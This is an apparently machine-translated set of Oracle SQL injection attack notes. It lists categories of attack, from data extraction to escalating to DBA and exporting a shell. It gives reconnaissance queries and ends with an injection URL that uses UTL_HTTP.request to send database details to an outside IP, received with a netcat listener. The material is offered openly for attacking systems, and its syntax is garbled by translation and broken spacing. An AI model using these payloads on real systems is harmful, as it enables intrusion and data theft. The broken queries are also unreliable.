Un Oracle injection notes

Oracle description:

Oracle injection attack learning can be classified:

A. Basic guesses:

1. Database Name, table name, field, data, and other basic data)

2. union Method

3. UTL_HTTP.request rebound data guessing (Internet access required)

4. Other methods of guessing, such as inserting the table segment content, update, or insert into fields that can be displayed, such as webpages, and then reading the information.

B. Advanced attack methods:

1. Database Elevation of Privilege attacks. Generally, the function vulnerability is exploited to escalate to DBA permissions. (oracle DBA is equivalent to mssql sa, which is the highest database permission)

2. Export shell attacks.

3. Use the database vulnerability to specify the execution system.

C. Database vulnerabilities.

1. Remote Overflow, Local Elevation of Privilege, and other vulnerabilities (exp only)

2. Organize existing configuration vulnerabilities, such as the default weak password and how to escalate permissions after obtaining the weak password.

Part 1:

============================= Basic Information ==========

Note:

Oracle stores some useful information in system tables, such as all_tables. Therefore, you can obtain a lot of basic information about these tables during injection.

Obtain the OS version:

Select member from v $ logfile where rownum = 1

Determine the operating system by path. If the c:, d: class is windows, the other is * nix

View sid:

Select instance_name from v $ instance

Query Current User Permissions

Select * from session_roles

Current Database Version

Select banner from sys. v _ $ version where rownum = 1

Server egress IP Address

You can use utl_http.request to implement

Server listening IP

Select utl_inaddr.get_host_address from dual

Current connected user

Select SYS_CONTEXT (USERENV, CURRENT_USER) from dual

Rebound mode: (Local Machine: nc-vv-lp 8000)

Http://www.target.com/servlet/bbs2005.Userdetail? SUserName = test and UTL_HTTP.request (http: // 59.151.22.37: 8000 // | (select instance_name from v $ instance where rownum = 1) = 1 --

= ==========

The basic information can be guessed to facilitate injection attacks later.